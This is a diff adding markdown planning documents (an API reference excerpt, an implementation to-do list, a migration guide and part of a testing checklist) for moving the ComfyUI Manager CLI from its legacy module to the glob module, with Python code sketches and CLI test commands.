||||
enabled_packages = []
|
||||
|
||||
# Collect enabled packages
|
||||
for packages in unified_manager.installed_node_packages.values():
|
||||
for pack in packages:
|
||||
if pack.is_enabled:
|
||||
enabled_packages.append(pack)
|
||||
|
||||
# Display with CNR info
|
||||
for pack in enabled_packages:
|
||||
if pack.is_from_cnr:
|
||||
cnr_info = cnr_utils.get_nodepack(pack.id)
|
||||
publisher = cnr_info.get('publisher', {}).get('name', 'Unknown') if cnr_info else 'Unknown'
|
||||
print(f"[ ENABLED ] {pack.id:50} (author: {publisher}) [{pack.version}]")
|
||||
elif pack.is_nightly:
|
||||
print(f"[ ENABLED ] {pack.id:50} (nightly) [NIGHTLY]")
|
||||
else:
|
||||
print(f"[ ENABLED ] {pack.id:50} (unknown) [UNKNOWN]")
|
||||
```
|
||||
|
||||
### Show Not-Installed Packages
|
||||
```python
|
||||
def show_not_installed_packages():
|
||||
# Get installed package IDs
|
||||
installed_ids = set()
|
||||
for packages in unified_manager.installed_node_packages.values():
|
||||
for pack in packages:
|
||||
installed_ids.add(pack.id)
|
||||
|
||||
# Get all CNR packages
|
||||
all_cnr = cnr_utils.get_all_nodepackages()
|
||||
|
||||
# Show not-installed
|
||||
for pack_id, pack_info in all_cnr.items():
|
||||
if pack_id not in installed_ids:
|
||||
publisher = pack_info.get('publisher', {}).get('name', 'Unknown')
|
||||
latest_version = pack_info.get('latest_version', {}).get('version', '0.0.0')
|
||||
print(f"[ NOT INSTALLED ] {pack_info['name']:50} {pack_id:30} (author: {publisher}) [{latest_version}]")
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## ⚠️ Key Constraints
|
||||
|
||||
1. **NO MODIFICATIONS**: Do not add any functions or properties to glob module
|
||||
2. **USE EXISTING APIs**: Only use the functions and classes documented above
|
||||
3. **ADAPT CLI**: CLI must adapt to glob's data structures and patterns
|
||||
4. **REMOVE IF NEEDED**: Remove features that can't be implemented with available APIs
|
||||
|
||||
This reference should provide everything needed to implement the CLI migration using only existing glob APIs.
|
||||
@@ -0,0 +1,324 @@
|
||||
# CLI Glob Migration - Implementation Todo List
|
||||
|
||||
## 📅 Project Timeline: 3.5 Days
|
||||
|
||||
---
|
||||
|
||||
# 🚀 Phase 1: Initial Setup & Import Changes (0.5 day)
|
||||
|
||||
## Day 1 Morning
|
||||
|
||||
### ✅ Setup and Preparation (30 min)
|
||||
- [ ] Read implementation context file
|
||||
- [ ] Review glob APIs documentation
|
||||
- [ ] Set up development environment
|
||||
- [ ] Create backup of current CLI
|
||||
|
||||
### 🔄 Import Path Changes (1 hour)
|
||||
- [ ] **CRITICAL**: Update import statements in `cm_cli/__main__.py:39-41`
|
||||
```python
|
||||
# Change from:
|
||||
from ..legacy import manager_core as core
|
||||
from ..legacy.manager_core import unified_manager
|
||||
|
||||
# Change to:
|
||||
from ..glob import manager_core as core
|
||||
from ..glob.manager_core import unified_manager
|
||||
```
|
||||
- [ ] Test CLI loads without crashing
|
||||
- [ ] Identify immediate import-related errors
|
||||
|
||||
### 🧪 Initial Testing (30 min)
|
||||
- [ ] Test basic CLI help: `python -m comfyui_manager.cm_cli help`
|
||||
- [ ] Test simple commands that should work: `python -m comfyui_manager.cm_cli show snapshot`
|
||||
- [ ] Document all errors found
|
||||
- [ ] Prioritize fixes needed
|
||||
|
||||
---
|
||||
|
||||
# ⚙️ Phase 2: Core Function Implementation (2 days)
|
||||
|
||||
## Day 1 Afternoon + Day 2
|
||||
|
||||
### 🛠️ install_node() Function Update (3 hours)
|
||||
**File**: `cm_cli/__main__.py:187-235`
|
||||
**Complexity**: Medium
|
||||
|
||||
#### Tasks:
|
||||
- [ ] **Replace Git URL handling logic**
|
||||
```python
|
||||
# OLD (line ~191):
|
||||
if core.is_valid_url(node_spec_str):
|
||||
res = asyncio.run(core.gitclone_install(node_spec_str, no_deps=cmd_ctx.no_deps))
|
||||
|
||||
# NEW:
|
||||
if unified_manager.is_url_like(node_spec_str):
|
||||
repo_name = os.path.basename(node_spec_str)
|
||||
if repo_name.endswith('.git'):
|
||||
repo_name = repo_name[:-4]
|
||||
res = asyncio.run(unified_manager.repo_install(
|
||||
node_spec_str, repo_name, instant_execution=True, no_deps=cmd_ctx.no_deps
|
||||
))
|
||||
```
|
||||
- [ ] Test Git URL installation
|
||||
- [ ] Test CNR package installation
|
||||
- [ ] Verify error handling works correctly
|
||||
- [ ] Update progress messages if needed
|
||||
|
||||
### 🔍 show_list() Function Rewrite - Installed-Only Approach (3 hours)
|
||||
**File**: `cm_cli/__main__.py:418-534`
|
||||
**Complexity**: High - Complete architectural change
|
||||
**New Approach**: Show only installed nodepacks with on-demand info retrieval
|
||||
|
||||
#### Key Changes:
|
||||
- ❌ Remove: Full cache loading (`get_custom_nodes()`)
|
||||
- ❌ Remove: Support for `show all`, `show not-installed`, `show cnr`
|
||||
- ✅ Add: Lightweight caching system for nodepack metadata
|
||||
- ✅ Add: On-demand CNR API calls for additional info
|
||||
|
||||
#### Tasks:
|
||||
- [ ] **Phase 2A: Lightweight Cache Implementation (1 hour)**
|
||||
```python
|
||||
class NodePackageCache:
|
||||
def __init__(self, cache_file_path: str):
|
||||
self.cache_file = cache_file_path
|
||||
self.cache_data = self._load_cache()
|
||||
|
||||
def get_metadata(self, nodepack_id: str) -> dict:
|
||||
# Get cached metadata or fetch on-demand from CNR
|
||||
|
||||
def update_metadata(self, nodepack_id: str, metadata: dict):
|
||||
# Update cache (called during install)
|
||||
```
|
||||
|
||||
- [ ] **Phase 2B: New show_list Implementation (1.5 hours)**
|
||||
```python
|
||||
def show_list(kind, simple=False):
|
||||
# Validate supported commands
|
||||
if kind not in ['installed', 'enabled', 'disabled']:
|
||||
print(f"Unsupported: 'show {kind}'. Use: installed/enabled/disabled")
|
||||
return
|
||||
|
||||
# Get installed packages only
|
||||
all_packages = []
|
||||
for packages in unified_manager.installed_node_packages.values():
|
||||
all_packages.extend(packages)
|
||||
|
||||
# Filter by status
|
||||
if kind == 'enabled':
|
||||
packages = [pkg for pkg in all_packages if pkg.is_enabled]
|
||||
elif kind == 'disabled':
|
||||
packages = [pkg for pkg in all_packages if not pkg.is_enabled]
|
||||
else: # 'installed'
|
||||
packages = all_packages
|
||||
```
|
||||
|
||||
- [ ] **Phase 2C: On-Demand Display with Cache (0.5 hour)**
|
||||
```python
|
||||
cache = NodePackageCache(cache_file_path)
|
||||
|
||||
for package in packages:
|
||||
# Basic info from InstalledNodePackage
|
||||
status = "[ ENABLED ]" if package.is_enabled else "[ DISABLED ]"
|
||||
|
||||
# Enhanced info from cache or on-demand
|
||||
cached_info = cache.get_metadata(package.id)
|
||||
name = cached_info.get('name', package.id)
|
||||
author = cached_info.get('author', 'Unknown')
|
||||
version = cached_info.get('version', 'Unknown')
|
||||
|
||||
if simple:
|
||||
print(f"{name}@{version}")
|
||||
else:
|
||||
print(f"{status} {name:50} {package.id:30} (author: {author:20}) [{version}]")
|
||||
```
|
||||
|
||||
#### Install-time Cache Update:
|
||||
- [ ] **Update install_node() to populate cache**
|
||||
```python
|
||||
# After successful installation in install_node()
|
||||
if install_success:
|
||||
metadata = cnr_utils.get_nodepackage_info(installed_package.id)
|
||||
cache.update_metadata(installed_package.id, metadata)
|
||||
```
|
||||
|
||||
#### Testing:
|
||||
- [ ] Test `show installed` (enabled + disabled packages)
|
||||
- [ ] Test `show enabled` (only enabled packages)
|
||||
- [ ] Test `show disabled` (only disabled packages)
|
||||
- [ ] Test unsupported commands show helpful error
|
||||
- [ ] Test `simple-show` variants work correctly
|
||||
- [ ] Test cache functionality (create, read, update)
|
||||
- [ ] Test on-demand CNR info retrieval for cache misses
|
||||
|
||||
### 📝 get_all_installed_node_specs() Update (1 hour)
|
||||
**File**: `cm_cli/__main__.py:573-605`
|
||||
**Complexity**: Medium
|
||||
|
||||
#### Tasks:
|
||||
- [ ] **Rewrite using InstalledNodePackage**
|
||||
```python
|
||||
def get_all_installed_node_specs():
|
||||
res = []
|
||||
for packages in unified_manager.installed_node_packages.values():
|
||||
for pack in packages:
|
||||
node_spec_str = f"{pack.id}@{pack.version}"
|
||||
res.append(node_spec_str)
|
||||
return res
|
||||
```
|
||||
- [ ] Test with `update all` command
|
||||
- [ ] Verify node spec format is correct
|
||||
|
||||
### ⚙️ Context Management Updates (1 hour)
|
||||
**File**: `cm_cli/__main__.py:117-134`
|
||||
**Complexity**: Low
|
||||
|
||||
#### Tasks:
|
||||
- [ ] **Remove load_nightly() call**
|
||||
```python
|
||||
def set_channel_mode(self, channel, mode):
|
||||
if mode is not None:
|
||||
self.mode = mode
|
||||
if channel is not None:
|
||||
self.channel = channel
|
||||
|
||||
# OLD: asyncio.run(unified_manager.reload(...))
|
||||
# OLD: asyncio.run(unified_manager.load_nightly(...))
|
||||
|
||||
# NEW: Just reload
|
||||
unified_manager.reload()
|
||||
```
|
||||
- [ ] Test channel/mode switching still works
|
||||
|
||||
---
|
||||
|
||||
# 🧹 Phase 3: Feature Removal & Final Testing (1 day)
|
||||
|
||||
## Day 3
|
||||
|
||||
### ❌ Remove Unavailable Features (2 hours)
|
||||
**Complexity**: Low
|
||||
|
||||
#### deps-in-workflow Command Removal:
|
||||
- [ ] **Update deps_in_workflow() function** (`cm_cli/__main__.py:1000-1050`)
|
||||
```python
|
||||
@app.command("deps-in-workflow")
|
||||
def deps_in_workflow(...):
|
||||
print("[bold red]ERROR: This feature is not available in the current version.[/bold red]")
|
||||
print("The 'deps-in-workflow' feature has been removed.")
|
||||
print("Please use alternative workflow analysis tools.")
|
||||
sys.exit(1)
|
||||
```
|
||||
- [ ] Test command shows proper error message
|
||||
- [ ] Update help text to reflect removal
|
||||
|
||||
#### install-deps Command Update:
|
||||
- [ ] **Update install_deps() function** (`cm_cli/__main__.py:1203-1250`)
|
||||
```python
|
||||
# Remove extract_nodes_from_workflow usage (line ~1033)
|
||||
# Replace with error handling or alternative approach
|
||||
```
|
||||
- [ ] Test with dependency files
|
||||
|
||||
### 🧪 Comprehensive Testing (4 hours)
|
||||
|
||||
#### Core Command Testing (2 hours):
|
||||
- [ ] **Install Commands**:
|
||||
- [ ] `install <cnr-package>`
|
||||
- [ ] `install <git-url>`
|
||||
- [ ] `install all` (if applicable)
|
||||
|
||||
- [ ] **Uninstall Commands**:
|
||||
- [ ] `uninstall <package>`
|
||||
- [ ] `uninstall all`
|
||||
|
||||
- [ ] **Enable/Disable Commands**:
|
||||
- [ ] `enable <package>`
|
||||
- [ ] `disable <package>`
|
||||
- [ ] `enable all` / `disable all`
|
||||
|
||||
- [ ] **Update Commands**:
|
||||
- [ ] `update <package>`
|
||||
- [ ] `update all`
|
||||
|
||||
#### Show Commands Testing (1 hour):
|
||||
- [ ] `show installed`
|
||||
- [ ] `show enabled`
|
||||
- [ ] `show disabled`
|
||||
- [ ] `show all`
|
||||
- [ ] `show not-installed`
|
||||
- [ ] `simple-show` variants
|
||||
|
||||
#### Advanced Features Testing (1 hour):
|
||||
- [ ] `save-snapshot`
|
||||
- [ ] `restore-snapshot`
|
||||
- [ ] `show snapshot`
|
||||
- [ ] `show snapshot-list`
|
||||
- [ ] `clear`
|
||||
- [ ] `cli-only-mode`
|
||||
|
||||
### 🐛 Bug Fixes & Polish (2 hours)
|
||||
- [ ] Fix any errors found during testing
|
||||
- [ ] Improve error messages
|
||||
- [ ] Ensure output formatting consistency
|
||||
- [ ] Performance optimization if needed
|
||||
- [ ] Code cleanup and comments
|
||||
|
||||
---
|
||||
|
||||
# 📋 Daily Checklists
|
||||
|
||||
## End of Day 1 Checklist:
|
||||
- [ ] Imports successfully changed
|
||||
- [ ] Basic CLI loading works
|
||||
- [ ] install_node() handles both CNR and Git URLs
|
||||
- [ ] No critical crashes in core functions
|
||||
|
||||
## End of Day 2 Checklist:
|
||||
- [ ] show_list() displays all package types correctly
|
||||
- [ ] get_all_installed_node_specs() works with new data structure
|
||||
- [ ] Context management updated
|
||||
- [ ] Core functionality regression-free
|
||||
|
||||
## End of Day 3 Checklist:
|
||||
- [ ] All CLI commands tested and working
|
||||
- [ ] Removed features show appropriate messages
|
||||
- [ ] Output format acceptable to users
|
||||
- [ ] No glob module modifications made
|
||||
- [ ] Ready for code review
|
||||
|
||||
---
|
||||
|
||||
# 🎯 Success Criteria
|
||||
|
||||
## Must Pass:
|
||||
- [ ] All core commands functional (install/uninstall/enable/disable/update)
|
||||
- [ ] show commands display accurate information
|
||||
- [ ] No modifications to glob module
|
||||
- [ ] CLI code changes < 200 lines
|
||||
- [ ] No critical regressions
|
||||
|
||||
## Bonus Points:
|
||||
- [ ] Output format matches legacy closely
|
||||
- [ ] Performance equals or exceeds legacy
|
||||
- [ ] Error messages user-friendly
|
||||
- [ ] Code is clean and maintainable
|
||||
|
||||
---
|
||||
|
||||
# 🚨 Emergency Contacts & Resources
|
||||
|
||||
## If Stuck:
|
||||
1. **Review**: `CLI_PURE_GLOB_MIGRATION_PLAN.md` for detailed technical specs
|
||||
2. **Reference**: `CLI_IMPLEMENTATION_CONTEXT.md` for current state
|
||||
3. **Debug**: Use `print()` statements to understand data structures
|
||||
4. **Fallback**: Implement minimal working version first, polish later
|
||||
|
||||
## Key Files to Reference:
|
||||
- `comfyui_manager/glob/manager_core.py` - UnifiedManager APIs
|
||||
- `comfyui_manager/common/node_package.py` - InstalledNodePackage class
|
||||
- `comfyui_manager/common/cnr_utils.py` - CNR utilities
|
||||
|
||||
---
|
||||
|
||||
**Remember**: Focus on making it work first, then making it perfect. The constraint is NO glob modifications - CLI must adapt to glob's way of doing things.
|
||||
@@ -0,0 +1,424 @@
|
||||
# CLI Migration Guide: Legacy to Glob Module
|
||||
|
||||
**Status**: ✅ Completed (Historical Reference)
|
||||
**Last Updated**: 2025-08-30
|
||||
**Purpose**: Complete guide for migrating ComfyUI Manager CLI from legacy to glob module
|
||||
|
||||
---
|
||||
|
||||
## 📋 Table of Contents
|
||||
|
||||
1. [Overview](#overview)
|
||||
2. [Legacy vs Glob Comparison](#legacy-vs-glob-comparison)
|
||||
3. [Migration Strategy](#migration-strategy)
|
||||
4. [Implementation Details](#implementation-details)
|
||||
5. [Key Constraints](#key-constraints)
|
||||
6. [API Reference](#api-reference-quick)
|
||||
7. [Rollback Plan](#rollback-plan)
|
||||
|
||||
---
|
||||
|
||||
## Overview
|
||||
|
||||
### Objective
|
||||
Migrate ComfyUI Manager CLI from legacy module to glob module using **only existing glob APIs** without modifying the glob module itself.
|
||||
|
||||
### Scope
|
||||
- **Target File**: `comfyui_manager/cm_cli/__main__.py` (1305 lines)
|
||||
- **Timeline**: 3.5 days
|
||||
- **Approach**: Minimal CLI changes, maximum compatibility
|
||||
- **Constraint**: ❌ NO glob module modifications
|
||||
|
||||
### Current State
|
||||
```python
|
||||
# Current imports (Lines 39-41)
|
||||
from ..legacy import manager_core as core
|
||||
from ..legacy.manager_core import unified_manager
|
||||
|
||||
# Target imports
|
||||
from ..glob import manager_core as core
|
||||
from ..glob.manager_core import unified_manager
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Legacy vs Glob Comparison
|
||||
|
||||
### Core Architecture Differences
|
||||
|
||||
#### Legacy Module (Current)
|
||||
**Data Structure**: Dictionary-based global state
|
||||
```python
|
||||
unified_manager.active_nodes # Active nodes dict
|
||||
unified_manager.unknown_active_nodes # Unknown active nodes
|
||||
unified_manager.cnr_inactive_nodes # Inactive CNR nodes
|
||||
unified_manager.nightly_inactive_nodes # Inactive nightly nodes
|
||||
unified_manager.unknown_inactive_nodes # Unknown inactive nodes
|
||||
unified_manager.cnr_map # CNR info mapping
|
||||
```
|
||||
|
||||
#### Glob Module (Target)
|
||||
**Data Structure**: Object-oriented with InstalledNodePackage
|
||||
```python
|
||||
unified_manager.installed_node_packages # dict[str, list[InstalledNodePackage]]
|
||||
unified_manager.repo_nodepack_map # dict[str, InstalledNodePackage]
|
||||
```
|
||||
|
||||
### Method Compatibility Matrix
|
||||
|
||||
| Method | Legacy | Glob | Status | Action |
|
||||
|--------|--------|------|--------|--------|
|
||||
| `unified_enable()` | ✅ | ✅ | Compatible | Direct mapping |
|
||||
| `unified_disable()` | ✅ | ✅ | Compatible | Direct mapping |
|
||||
| `unified_uninstall()` | ✅ | ✅ | Compatible | Direct mapping |
|
||||
| `unified_update()` | ✅ | ✅ | Compatible | Direct mapping |
|
||||
| `install_by_id()` | Sync | Async | Modified | Use asyncio.run() |
|
||||
| `gitclone_install()` | ✅ | ❌ | Replaced | Use repo_install() |
|
||||
| `get_custom_nodes()` | ✅ | ❌ | Removed | Use cnr_utils |
|
||||
| `load_nightly()` | ✅ | ❌ | Removed | Not needed |
|
||||
| `extract_nodes_from_workflow()` | ✅ | ❌ | Removed | Feature removed |
|
||||
|
||||
### InstalledNodePackage Class
|
||||
|
||||
```python
|
||||
@dataclass
|
||||
class InstalledNodePackage:
|
||||
id: str # Package identifier
|
||||
fullpath: str # Full filesystem path
|
||||
disabled: bool # Disabled status
|
||||
version: str # Version (nightly/unknown/x.y.z)
|
||||
repo_url: str = None # Repository URL
|
||||
|
||||
# Properties
|
||||
@property
|
||||
def is_unknown(self) -> bool: return self.version == "unknown"
|
||||
|
||||
@property
|
||||
def is_nightly(self) -> bool: return self.version == "nightly"
|
||||
|
||||
@property
|
||||
def is_from_cnr(self) -> bool: return not (self.is_unknown or self.is_nightly)
|
||||
|
||||
@property
|
||||
def is_enabled(self) -> bool: return not self.disabled
|
||||
|
||||
@property
|
||||
def is_disabled(self) -> bool: return self.disabled
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Migration Strategy
|
||||
|
||||
### Phase 1: Setup (0.5 day)
|
||||
**Goal**: Basic migration with error identification
|
||||
|
||||
1. **Import Path Changes**
|
||||
```python
|
||||
# Change 2 lines
|
||||
from ..glob import manager_core as core
|
||||
from ..glob.manager_core import unified_manager
|
||||
```
|
||||
|
||||
2. **Initial Testing**
|
||||
- Run basic commands
|
||||
- Identify breaking changes
|
||||
- Document errors
|
||||
|
||||
3. **Error Analysis**
|
||||
- List all affected functions
|
||||
- Categorize by priority
|
||||
- Plan fixes
|
||||
|
||||
### Phase 2: Core Implementation (2 days)
|
||||
**Goal**: Adapt CLI to glob architecture
|
||||
|
||||
1. **install_node() Updates**
|
||||
```python
|
||||
# Replace gitclone_install with repo_install
|
||||
if unified_manager.is_url_like(node_spec_str):
|
||||
res = asyncio.run(unified_manager.repo_install(
|
||||
node_spec_str,
|
||||
os.path.basename(node_spec_str),
|
||||
instant_execution=True,
|
||||
no_deps=cmd_ctx.no_deps
|
||||
))
|
||||
```
|
||||
|
||||
2. **show_list() Rewrite** (Most complex change)
|
||||
- Migrate from dictionary-based to InstalledNodePackage-based
|
||||
- Implement installed-only approach with optional CNR lookup
|
||||
- See [show_list() Implementation](#show_list-implementation) section
|
||||
|
||||
3. **Context Management**
|
||||
- Update get_all_installed_node_specs()
|
||||
- Adapt to new data structures
|
||||
|
||||
4. **Data Structure Migration**
|
||||
- Replace all active_nodes references
|
||||
- Use installed_node_packages instead
|
||||
|
||||
### Phase 3: Final Testing (1 day)
|
||||
**Goal**: Comprehensive validation
|
||||
|
||||
1. **Feature Removal**
|
||||
- Remove deps-in-workflow (not supported)
|
||||
- Stub unsupported features
|
||||
|
||||
2. **Testing**
|
||||
- Test all CLI commands
|
||||
- Verify output format
|
||||
- Check edge cases
|
||||
|
||||
3. **Polish**
|
||||
- Fix bugs
|
||||
- Improve error messages
|
||||
- Update help text
|
||||
|
||||
---
|
||||
|
||||
## Implementation Details
|
||||
|
||||
### show_list() Implementation
|
||||
|
||||
**Challenge**: Legacy uses multiple dictionaries, glob uses single InstalledNodePackage collection
|
||||
|
||||
**Solution**: Installed-only approach with on-demand CNR lookup
|
||||
|
||||
```python
|
||||
def show_list(kind: str, simple: bool = False):
|
||||
"""
|
||||
Display node package list
|
||||
|
||||
Args:
|
||||
kind: 'installed', 'enabled', 'disabled', 'all'
|
||||
simple: If True, show simple format
|
||||
"""
|
||||
|
||||
# Get all installed packages
|
||||
all_packages = []
|
||||
for packages in unified_manager.installed_node_packages.values():
|
||||
all_packages.extend(packages)
|
||||
|
||||
# Filter by kind
|
||||
if kind == "enabled":
|
||||
packages = [p for p in all_packages if p.is_enabled]
|
||||
elif kind == "disabled":
|
||||
packages = [p for p in all_packages if p.is_disabled]
|
||||
elif kind == "installed" or kind == "all":
|
||||
packages = all_packages
|
||||
else:
|
||||
print(f"Unknown kind: {kind}")
|
||||
return
|
||||
|
||||
# Display
|
||||
if simple:
|
||||
for pkg in packages:
|
||||
print(pkg.id)
|
||||
else:
|
||||
# Detailed display with CNR info on-demand
|
||||
for pkg in packages:
|
||||
status = "disabled" if pkg.disabled else "enabled"
|
||||
version_info = f"v{pkg.version}" if pkg.version != "unknown" else "unknown"
|
||||
|
||||
print(f"[{status}] {pkg.id} ({version_info})")
|
||||
|
||||
# Optionally fetch CNR info for non-nightly packages
|
||||
if pkg.is_from_cnr and not simple:
|
||||
cnr_info = cnr_utils.get_nodepackage(pkg.id)
|
||||
if cnr_info:
|
||||
print(f" Description: {cnr_info.get('description', 'N/A')}")
|
||||
```
|
||||
|
||||
**Key Changes**:
|
||||
1. Single source of truth: `installed_node_packages`
|
||||
2. No separate active/inactive dictionaries
|
||||
3. On-demand CNR lookup instead of pre-cached cnr_map
|
||||
4. Filter by InstalledNodePackage properties
|
||||
|
||||
### Git Installation Migration
|
||||
|
||||
**Before (Legacy)**:
|
||||
```python
|
||||
if core.is_valid_url(node_spec_str):
|
||||
res = asyncio.run(core.gitclone_install(
|
||||
node_spec_str,
|
||||
no_deps=cmd_ctx.no_deps
|
||||
))
|
||||
```
|
||||
|
||||
**After (Glob)**:
|
||||
```python
|
||||
if unified_manager.is_url_like(node_spec_str):
|
||||
res = asyncio.run(unified_manager.repo_install(
|
||||
node_spec_str,
|
||||
os.path.basename(node_spec_str), # repo_path derived from URL
|
||||
instant_execution=True, # Execute immediately
|
||||
no_deps=cmd_ctx.no_deps # Respect --no-deps flag
|
||||
))
|
||||
```
|
||||
|
||||
### Async Function Handling
|
||||
|
||||
**Pattern**: Wrap async glob methods with asyncio.run()
|
||||
|
||||
```python
|
||||
# install_by_id is async in glob
|
||||
res = asyncio.run(unified_manager.install_by_id(
|
||||
packname=node_name,
|
||||
version_spec=version,
|
||||
instant_execution=True,
|
||||
no_deps=cmd_ctx.no_deps
|
||||
))
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Key Constraints
|
||||
|
||||
### Hard Constraints (Cannot Change)
|
||||
1. ❌ **No glob module modifications**
|
||||
- Cannot add new methods to UnifiedManager
|
||||
- Cannot add compatibility properties
|
||||
- Must use existing APIs only
|
||||
|
||||
2. ❌ **No legacy dependencies**
|
||||
- CLI must work without legacy module
|
||||
- Clean break from old architecture
|
||||
|
||||
3. ❌ **Maintain CLI interface**
|
||||
- Command syntax unchanged
|
||||
- Output format similar (minor differences acceptable)
|
||||
|
||||
### Soft Constraints (Acceptable Trade-offs)
|
||||
1. ✅ **Feature removal acceptable**
|
||||
- deps-in-workflow feature can be removed
|
||||
- Channel/mode support can be simplified
|
||||
|
||||
2. ✅ **Performance trade-offs acceptable**
|
||||
- On-demand CNR lookup vs pre-cached
|
||||
- Slight performance degradation acceptable
|
||||
|
||||
3. ✅ **Output format flexibility**
|
||||
- Minor formatting differences acceptable
|
||||
- Must remain readable and useful
|
||||
|
||||
---
|
||||
|
||||
## API Reference (Quick)
|
||||
|
||||
### UnifiedManager Core Methods
|
||||
|
||||
```python
|
||||
# Installation
|
||||
async def install_by_id(packname, version_spec, instant_execution, no_deps) -> ManagedResult
|
||||
|
||||
# Git/URL installation
|
||||
async def repo_install(url, repo_path, instant_execution, no_deps) -> ManagedResult
|
||||
|
||||
# Enable/Disable
|
||||
def unified_enable(packname, version_spec=None) -> ManagedResult
|
||||
def unified_disable(packname) -> ManagedResult
|
||||
|
||||
# Update/Uninstall
|
||||
def unified_update(packname, instant_execution, no_deps) -> ManagedResult
|
||||
def unified_uninstall(packname) -> ManagedResult
|
||||
|
||||
# Query
|
||||
def get_active_pack(packname) -> InstalledNodePackage | None
|
||||
def get_inactive_pack(packname, version_spec) -> InstalledNodePackage | None
|
||||
def resolve_node_spec(packname, guess_mode) -> NodeSpec
|
||||
|
||||
# Utility
|
||||
def is_url_like(text) -> bool
|
||||
```
|
||||
|
||||
### Data Access
|
||||
|
||||
```python
|
||||
# Installed packages
|
||||
unified_manager.installed_node_packages: dict[str, list[InstalledNodePackage]]
|
||||
|
||||
# Repository mapping
|
||||
unified_manager.repo_nodepack_map: dict[str, InstalledNodePackage]
|
||||
```
|
||||
|
||||
### External Utilities
|
||||
|
||||
```python
|
||||
# CNR utilities
|
||||
from ..common import cnr_utils
|
||||
cnr_utils.get_nodepackage(id) -> dict
|
||||
cnr_utils.get_all_nodepackages() -> list[dict]
|
||||
```
|
||||
|
||||
For complete API reference, see [CLI_API_REFERENCE.md](CLI_API_REFERENCE.md)
|
||||
|
||||
---
|
||||
|
||||
## Rollback Plan
|
||||
|
||||
### If Migration Fails
|
||||
|
||||
1. **Immediate Rollback** (< 5 minutes)
|
||||
```python
|
||||
# Revert imports in __main__.py
|
||||
from ..legacy import manager_core as core
|
||||
from ..legacy.manager_core import unified_manager
|
||||
```
|
||||
|
||||
2. **Verify Rollback**
|
||||
```bash
|
||||
# Test basic commands
|
||||
cm-cli show installed
|
||||
cm-cli install <package>
|
||||
```
|
||||
|
||||
3. **Document Issues**
|
||||
- Note what failed
|
||||
- Gather error logs
|
||||
- Plan fixes
|
||||
|
||||
### Risk Mitigation
|
||||
|
||||
1. **Backup**: Keep legacy module available
|
||||
2. **Testing**: Comprehensive test suite before deployment
|
||||
3. **Staging**: Test in non-production environment first
|
||||
4. **Monitoring**: Watch for errors after deployment
|
||||
|
||||
---
|
||||
|
||||
## Success Criteria
|
||||
|
||||
### Must Pass (Blockers)
|
||||
- ✅ All core commands functional (install, update, enable, disable, uninstall)
|
||||
- ✅ Package information displays correctly
|
||||
- ✅ No glob module modifications
|
||||
- ✅ No critical regressions
|
||||
|
||||
### Should Pass (Important)
|
||||
- ✅ Output format similar to legacy
|
||||
- ✅ Performance comparable to legacy
|
||||
- ✅ User-friendly error messages
|
||||
- ✅ Help text updated
|
||||
|
||||
### Nice to Have
|
||||
- ✅ Improved code structure
|
||||
- ✅ Better error handling
|
||||
- ✅ Type hints added
|
||||
|
||||
---
|
||||
|
||||
## Reference Documents
|
||||
|
||||
- **[CLI_API_REFERENCE.md](CLI_API_REFERENCE.md)** - Complete API documentation
|
||||
- **[CLI_IMPLEMENTATION_CHECKLIST.md](CLI_IMPLEMENTATION_CHECKLIST.md)** - Step-by-step tasks
|
||||
- **[CLI_TESTING_GUIDE.md](CLI_TESTING_GUIDE.md)** - Testing strategy
|
||||
|
||||
---
|
||||
|
||||
## Conclusion
|
||||
|
||||
The CLI migration from legacy to glob module is achievable through systematic adaptation of CLI code to glob's object-oriented architecture. The key is respecting the constraint of no glob modifications while leveraging existing glob APIs effectively.
|
||||
|
||||
**Status**: This migration has been completed successfully. The CLI now uses glob module exclusively.
|
||||
@@ -0,0 +1,407 @@
|
||||
# CLI Migration Testing Checklist
|
||||
|
||||
## 🧪 Testing Strategy Overview
|
||||
**Approach**: Progressive testing at each implementation phase
|
||||
**Tools**: Manual CLI testing, comparison with legacy behavior
|
||||
**Environment**: ComfyUI development environment with test packages
|
||||
|
||||
---
|
||||
|
||||
# 📋 Phase 1 Testing (Import Changes)
|
||||
|
||||
## ✅ Basic CLI Loading (Must Pass)
|
||||
```bash
|
||||
# Test CLI loads without import errors
|
||||
python -m comfyui_manager.cm_cli --help
|
||||
python -m comfyui_manager.cm_cli help
|
||||
|
||||
# Expected: CLI help displays, no ImportError exceptions
|
||||
```
|
||||
|
||||
## ✅ Simple Command Smoke Tests
|
||||
```bash
|
||||
# Commands that should work immediately
|
||||
python -m comfyui_manager.cm_cli show snapshot
|
||||
python -m comfyui_manager.cm_cli clear
|
||||
|
||||
# Expected: Commands execute, may show different output but no crashes
|
||||
```
|
||||
|
||||
## 🐛 Error Identification
|
||||
- [ ] Document all import-related errors
|
||||
- [ ] Identify which functions fail immediately
|
||||
- [ ] Note any missing attributes/methods used by CLI
|
||||
- [ ] List functions that need immediate attention
|
||||
|
||||
**Pass Criteria**: CLI loads and basic commands don't crash
|
||||
|
||||
---
|
||||
|
||||
# 🔧 Phase 2 Testing (Core Functions)
|
||||
|
||||
## 🚀 Install Command Testing
|
||||
|
||||
### CNR Package Installation
|
||||
```bash
|
||||
# Test CNR package installation
|
||||
python -m comfyui_manager.cm_cli install ComfyUI-Manager
|
||||
python -m comfyui_manager.cm_cli install <known-cnr-package>
|
||||
|
||||
# Expected behaviors:
|
||||
# - Package resolves correctly
|
||||
# - Installation proceeds
|
||||
# - Success/failure message displayed
|
||||
# - Package appears in enabled state
|
||||
```
|
||||
**Test Cases**:
|
||||
- [ ] Install new CNR package
|
||||
- [ ] Install already-installed package (should skip)
|
||||
- [ ] Install non-existent package (should error gracefully)
|
||||
- [ ] Install with `--no-deps` flag
|
||||
|
||||
### Git URL Installation
|
||||
```bash
|
||||
# Test Git URL installation
|
||||
python -m comfyui_manager.cm_cli install https://github.com/user/repo.git
|
||||
python -m comfyui_manager.cm_cli install https://github.com/user/repo
|
||||
|
||||
# Expected behaviors:
|
||||
# - URL detected as Git repository
|
||||
# - repo_install() method called
|
||||
# - Installation proceeds or fails gracefully
|
||||
```
|
||||
**Test Cases**:
|
||||
- [ ] Install from Git URL with .git suffix
|
||||
- [ ] Install from Git URL without .git suffix
|
||||
- [ ] Install from invalid Git URL (should error)
|
||||
- [ ] Install from private repository (may fail gracefully)
|
||||
|
||||
## 📊 Show Commands Testing
|
||||
|
||||
